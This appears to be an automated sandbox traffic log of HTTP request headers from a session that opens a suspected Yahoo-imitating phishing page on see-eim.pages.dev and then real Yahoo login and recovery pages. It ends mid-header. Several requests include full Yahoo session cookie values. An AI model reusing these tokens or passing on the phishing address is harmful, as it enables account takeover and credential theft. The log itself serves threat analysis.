Source: global traffic	HTTP traffic detected: GET /login_files/loga HTTP/1.1Host: see-eim.pages.devConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9If-None-Match: "a8939e5a085463ed0b92e943f45878d6"
Source: global traffic	HTTP traffic detected: GET /login_files/login_files/loga HTTP/1.1Host: see-eim.pages.devConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://see-eim.pages.dev/login_files/logaAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Range: bytes=52476-52476If-Range: "a8939e5a085463ed0b92e943f45878d6"
Source: global traffic	HTTP traffic detected: GET /login_files/loga HTTP/1.1Host: see-eim.pages.devConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9If-None-Match: "a8939e5a085463ed0b92e943f45878d6"
Source: global traffic	HTTP traffic detected: GET /login_files/login_files/loga HTTP/1.1Host: see-eim.pages.devConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://see-eim.pages.dev/login_files/logaAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Range: bytes=58901-58901If-Range: "a8939e5a085463ed0b92e943f45878d6"
Source: global traffic	HTTP traffic detected: GET /forgot?done=https%3A%2F%2Fmail.yahoo.com%2F HTTP/1.1Host: login.yahoo.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /account/challenge/username?done=https%3A%2F%2Fmail.yahoo.com%2F&authMechanism=secondary&sessionIndex=QQ-- HTTP/1.1Host: login.yahoo.comConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-Dest: documentsec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: AS=v=1&s=QDyTdhCQ&d=A65a07924\|QQOjr1r.2SKEPiU1eekFzxL_UuGtwszOkmPseF.SMkzyoUU4buET3gAqpasRxVwBcL0lbjD_XOcNwo3REj3mzUO.4mCosuYjBdPsA.yrGJRBB23gPtm.xZZ4OIGSa59HYzX_g7zlbjXBc.K1r0jf1JNj.bgno7J8cIBSJCbVah.7X5cBXC6s5zkqkN.K7Trh4jOUh3SAgO7K4SwQmoktYT6mJszsLPQZOOf6BCGM9c5fS5MdPaFvgP.2uBrD4F3yWRbLql1QtmzuROIoNADXmtW6x.u4QbJN1mjDhGi4mjgFTOFE60_7GTCM.RNiEI4Nqty2.LfGrvOUurbJ_gpbEcaWwGoIyiy5ffr4Ptsg5tR94kna_Q5lLsDf37FLO3SJ7QmODStqMuR7Qbzj4GtnkJiyndl1Pi.8a7kESzEp4sn_VE3Lqi.xQswHLs_mmSZpwRJxIPGa1RcWAx2pS2Am_Xnwj_A4zBHmfOwSFnGnFN9SvX_eFqNN7OoNoWkSPK8hQfamVhcriDZXmHP5PcHIcLtcmVIr4EwH.6S4VHkJTqesvo9sAShgswqB1P6KL.Y4Uig3hb7Xd1K.43B.ly5olC6HGIM.HjKbVEW0eRrvZ26zznDntBYzvjAF1laDT9L8XgWyaeRb_fEWcGRqro9rahJxLot7jn4_qrMDXoifAU_GIQpiYPhtXz3Bvoi35Di1dBd88JJdVh94kgP.gtJo5Aphm8L1oW_R8GpEu_hnM53GO8wU_WdTa52lr25IAitcJsGK907BU6TGNlafkox9F3IOYaX1mK2lKVrPMJSDgluUEKvyb5D6n9c-~A; A1=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; A3=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; A1S=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E
Source: global traffic	HTTP traffic detected: GET /wm/mbr/6ebaa0694e3f3f0e4b06fe00ae06db7c114eaec2/yahoo-main.css HTTP/1.1Host: s.yimg.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://login.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rz/p/yahoo_frontpage_en-US_s_f_p_bestfit_frontpage_2x.png HTTP/1.1Host: s.yimg.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://login.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rz/p/yahoo_frontpage_en-US_s_f_w_bestfit_frontpage_2x.png HTTP/1.1Host: s.yimg.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://login.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ss/rapid-3.53.39.js HTTP/1.1Host: s.yimg.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://login.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wm/mbr/6ebaa0694e3f3f0e4b06fe00ae06db7c114eaec2/bundle.js HTTP/1.1Host: s.yimg.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://login.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rz/p/yahoo_frontpage_en-US_s_f_w_bestfit_frontpage_2x.png HTTP/1.1Host: s.yimg.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cv/ae/sports/fonts/2017/Yahoo_Sans-Regular.woff2 HTTP/1.1Host: s.yimg.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://login.yahoo.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: fontReferer: https://s.yimg.com/wm/mbr/6ebaa0694e3f3f0e4b06fe00ae06db7c114eaec2/yahoo-main.cssAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cv/ae/sports/fonts/2017/Yahoo_Sans-Medium.woff2 HTTP/1.1Host: s.yimg.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://login.yahoo.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: fontReferer: https://s.yimg.com/wm/mbr/6ebaa0694e3f3f0e4b06fe00ae06db7c114eaec2/yahoo-main.cssAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wm/mbr/images/yahoo-favicon-img-v0.0.2.ico HTTP/1.1Host: s.yimg.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://login.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /login_files/loga HTTP/1.1Host: see-eim.pages.devConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9If-None-Match: "a8939e5a085463ed0b92e943f45878d6"
Source: global traffic	HTTP traffic detected: GET /login_files/login_files/loga HTTP/1.1Host: see-eim.pages.devConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://see-eim.pages.dev/login_files/logaAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Range: bytes=18462-18462If-Range: "a8939e5a085463ed0b92e943f45878d6"
Source: global traffic	HTTP traffic detected: GET /forgot?done=https%3A%2F%2Fmail.yahoo.com%2F HTTP/1.1Host: login.yahoo.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: AS=v=1&s=QDyTdhCQ&d=A65a07924\|QQOjr1r.2SKEPiU1eekFzxL_UuGtwszOkmPseF.SMkzyoUU4buET3gAqpasRxVwBcL0lbjD_XOcNwo3REj3mzUO.4mCosuYjBdPsA.yrGJRBB23gPtm.xZZ4OIGSa59HYzX_g7zlbjXBc.K1r0jf1JNj.bgno7J8cIBSJCbVah.7X5cBXC6s5zkqkN.K7Trh4jOUh3SAgO7K4SwQmoktYT6mJszsLPQZOOf6BCGM9c5fS5MdPaFvgP.2uBrD4F3yWRbLql1QtmzuROIoNADXmtW6x.u4QbJN1mjDhGi4mjgFTOFE60_7GTCM.RNiEI4Nqty2.LfGrvOUurbJ_gpbEcaWwGoIyiy5ffr4Ptsg5tR94kna_Q5lLsDf37FLO3SJ7QmODStqMuR7Qbzj4GtnkJiyndl1Pi.8a7kESzEp4sn_VE3Lqi.xQswHLs_mmSZpwRJxIPGa1RcWAx2pS2Am_Xnwj_A4zBHmfOwSFnGnFN9SvX_eFqNN7OoNoWkSPK8hQfamVhcriDZXmHP5PcHIcLtcmVIr4EwH.6S4VHkJTqesvo9sAShgswqB1P6KL.Y4Uig3hb7Xd1K.43B.ly5olC6HGIM.HjKbVEW0eRrvZ26zznDntBYzvjAF1laDT9L8XgWyaeRb_fEWcGRqro9rahJxLot7jn4_qrMDXoifAU_GIQpiYPhtXz3Bvoi35Di1dBd88JJdVh94kgP.gtJo5Aphm8L1oW_R8GpEu_hnM53GO8wU_WdTa52lr25IAitcJsGK907BU6TGNlafkox9F3IOYaX1mK2lKVrPMJSDgluUEKvyb5D6n9c-~A; A1=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; A3=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; A1S=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E
Source: global traffic	HTTP traffic detected: GET /account/challenge/username?done=https%3A%2F%2Fmail.yahoo.com%2F&authMechanism=secondary&sessionIndex=Qg-- HTTP/1.1Host: login.yahoo.comConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-Dest: documentsec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: A1=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; A3=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; A1S=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; AS=v=1&s=QDyTdhCQ&d=A65a07924\|QQOjr1r.2SKEPiU1eekFzxL_UuGtwszOkmPseF.SMkzyoUU4buET3gAqpasRxVwBcL0lbjD_XOcNwo3REj3mzUO.4mCosuYjBdPsA.yrGJRBB23gPtm.xZZ4OIGSa59HYzX_g7zlbjXBc.K1r0jf1JNj.bgno7J8cIBSJCbVah.7X5cBXC6s5zkqkN.K7Trh4jOUh3SAgO7K4SwQmoktYT6mJszsLPQZOOf6BCGM9c5fS5MdPaFvgP.2uBrD4F3yWRbLql1QtmzuROIoNADXmtW6x.u4QbJN1mjDhGi4mjgFTOFE60_7GTCM.RNiEI4Nqty2.LfGrvOUurbJ_gpbEcaWwGoIyiy5ffr4Ptsg5tR94kna_Q5lLsDf37FLO3SJ7QmODStqMuR7Qbzj4GtnkJiyndl1Pi.8a7kESzEp4sn_VE3Lqi.xQswHLs_mmSZpwRJxIPGa1RcWAx2pS2Am_Xnwj_A4zBHmfOwSFnGnFN9SvX_eFqNN7OoNoWkSPK8hQfamVhcriDZXmHP5PcHIcLtcmVIr4EwH.6S4VHkJTqesvo9sAShgswqB1P6KL.Y4Uig3hb7Xd1K.43B.ly5olC6HGIM.HjKbVEW0eRrvZ26zznDntBYzvjAF1laDT9L8XgWyaeRb_fEWcGRqro9rahJxLot7jn4_qrMDXoifAU_GIQpiYPhtXz3Bvoi35Di1dBd88JJdVh94kgP.gtJo5Aphm8L1oW_R8GpEu_hnM53GO8wU_WdTa52lr25IAitcJsGK907BU6TGNlafkox9F3IOYaX1mK2lKVrPMJSDgluUEKvyb5D6n9c-~A\|B65a07934\|tUuwa_T.2SJXuHvDycA_I8uhuBKm4_i5hevfsF1hvakJ3IPsVh2LtxjkAr_V_N6eTNq9DeKJdy8u2z.MSWS.4mtc3WKpsnUKjZ0IUUUrQbVBYeF_tj9ECrWZEqTHKjYqqlesfDMivkFRkqc5_pHJagWcOb32kuNAN4SpsydIkJsiOZXS_Csej32aThrxJVfcywKOIOvZaxIwvXWUyq8PPmLxyoFHI5Dv3g4aHApFoSWJbpm8tDina.FfcdV4yOV99GiVBjoV6JwKhvJ5jUx4TEd_3LptVb5nV5aDmk8VrO6y8MTd8.hgVMOkJ7QpA4wRHIMYt09fzmDRfPLnwFvm6369lE7ij7ckp41.NNG8f7_8F4tsZpt2ar1puSbZFaWe_DzaxSqUwMx9OU.FiciOSvc7L8LbqCwHWpWmWqJpz_6ZOJRj.fuYZVBA0J6bo5AJK1CjzgwZiMflBMA5TQoRXBPhou6PulsjV1H8BzNGOAVOBmcJWN2KxuL84lz2hhA.O6vFCLYjxO7ap1CuBCxlEl2EcYdqBM9CjBHyOi_mf_P33G9ubNaAID4IslR5LGJjER15G.XlDvoAY9c3.Y1Zj4bc3KuLu_4rvgCRGw3ltaK48OaC_UQmbJjh2SPXLzwiqpCdsZGZcNzUYY9teAq._SP3BdWt1mS_ZEmUOfqbDTCmeMV0gOnaIBdAwh2Z_IIFJ7rJxPEW9qHwxmgeWGWvyEjoujFNHb_2_5.lXfIoHnGGwVRyWvF5bHx1nB6zUom.3qGEsogugB_6bHSXeZKF63L_rGkinuRCOOuWsniv2tiyEDcWkXdpFUWWPgQ-~A
Source: global traffic	HTTP traffic detected: GET /login_files/loga HTTP/1.1Host: see-eim.pages.devConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9If-None-Match: "a8939e5a085463ed0b92e943f45878d6"
Source: global traffic	HTTP traffic detected: GET /login_files/login_files/loga HTTP/1.1Host: see-eim.pages.devConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://see-eim.pages.dev/login_files/logaAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Range: bytes=13690-13690If-Range: "a8939e5a085463ed0b92e943f45878d6"
Source: global traffic	HTTP traffic detected: GET /forgot?done=https%3A%2F%2Fmail.yahoo.com%2F HTTP/1.1Host: login.yahoo.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: A1=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; A3=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; A1S=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; AS=v=1&s=QDyTdhCQ&d=A65a07924\|QQOjr1r.2SKEPiU1eekFzxL_UuGtwszOkmPseF.SMkzyoUU4buET3gAqpasRxVwBcL0lbjD_XOcNwo3REj3mzUO.4mCosuYjBdPsA.yrGJRBB23gPtm.xZZ4OIGSa59HYzX_g7zlbjXBc.K1r0jf1JNj.bgno7J8cIBSJCbVah.7X5cBXC6s5zkqkN.K7Trh4jOUh3SAgO7K4SwQmoktYT6mJszsLPQZOOf6BCGM9c5fS5MdPaFvgP.2uBrD4F3yWRbLql1QtmzuROIoNADXmtW6x.u4QbJN1mjDhGi4mjgFTOFE60_7GTCM.RNiEI4Nqty2.LfGrvOUurbJ_gpbEcaWwGoIyiy5ffr4Ptsg5tR94kna_Q5lLsDf37FLO3SJ7QmODStqMuR7Qbzj4GtnkJiyndl1Pi.8a7kESzEp4sn_VE3Lqi.xQswHLs_mmSZpwRJxIPGa1RcWAx2pS2Am_Xnwj_A4zBHmfOwSFnGnFN9SvX_eFqNN7OoNoWkSPK8hQfamVhcriDZXmHP5PcHIcLtcmVIr4EwH.6S4VHkJTqesvo9sAShgswqB1P6KL.Y4Uig3hb7Xd1K.43B.ly5olC6HGIM.HjKbVEW0eRrvZ26zznDntBYzvjAF1laDT9L8XgWyaeRb_fEWcGRqro9rahJxLot7jn4_qrMDXoifAU_GIQpiYPhtXz3Bvoi35Di1dBd88JJdVh94kgP.gtJo5Aphm8L1oW_R8GpEu_hnM53GO8wU_WdTa52lr25IAitcJsGK907BU6TGNlafkox9F3IOYaX1mK2lKVrPMJSDgluUEKvyb5D6n9c-~A\|B65a07934\|tUuwa_T.2SJXuHvDycA_I8uhuBKm4_i5hevfsF1hvakJ3IPsVh2LtxjkAr_V_N6eTNq9DeKJdy8u2z.MSWS.4mtc3WKpsnUKjZ0IUUUrQbVBYeF_tj9ECrWZEqTHKjYqqlesfDMivkFRkqc5_pHJagWcOb32kuNAN4SpsydIkJsiOZXS_Csej32aThrxJVfcywKOIOvZaxIwvXWUyq8PPmLxyoFHI5Dv3g4aHApFoSWJbpm8tDina.FfcdV4yOV99GiVBjoV6JwKhvJ5jUx4TEd_3LptVb5nV5aDmk8VrO6y8MTd8.hgVMOkJ7QpA4wRHIMYt09fzmDRfPLnwFvm6369lE7ij7ckp41.NNG8f7_8F4tsZpt2ar1puSbZFaWe_DzaxSqUwMx9OU.FiciOSvc7L8LbqCwHWpWmWqJpz_6ZOJRj.fuYZVBA0J6bo5AJK1CjzgwZiMflBMA5TQoRXBPhou6PulsjV1H8BzNGOAVOBmcJWN2KxuL84lz2hhA.O6vFCLYjxO7ap1CuBCxlEl2EcYdqBM9CjBHyOi_mf_P33G9ubNaAID4IslR5LGJjER15G.XlDvoAY9c3.Y1Zj4bc3KuLu_4rvgCRGw3ltaK48OaC_UQmbJjh2SPXLzwiqpCdsZGZcNzUYY9teAq._SP3BdWt1mS_ZEmUOfqbDTCmeMV0gOnaIBdAwh2Z_IIFJ7rJxPEW9qHwxmgeWGWvyEjoujFNHb_2_5.lXfIoHnGGwVRyWvF5bHx1nB6zUom.3qGEsogugB_6bHSXeZKF63L_rGkinuRCOOuWsniv2tiyEDcWkXdpFUWWPgQ-~A
Source: global traffic	HTTP traffic detected: GET /account/challenge/username?done=https%3A%2F%2Fmail.yahoo.com%2F&authMechanism=secondary&sessionIndex=Qw-- HTTP/1.1Host: login.yahoo.comConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-Dest: documentsec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: 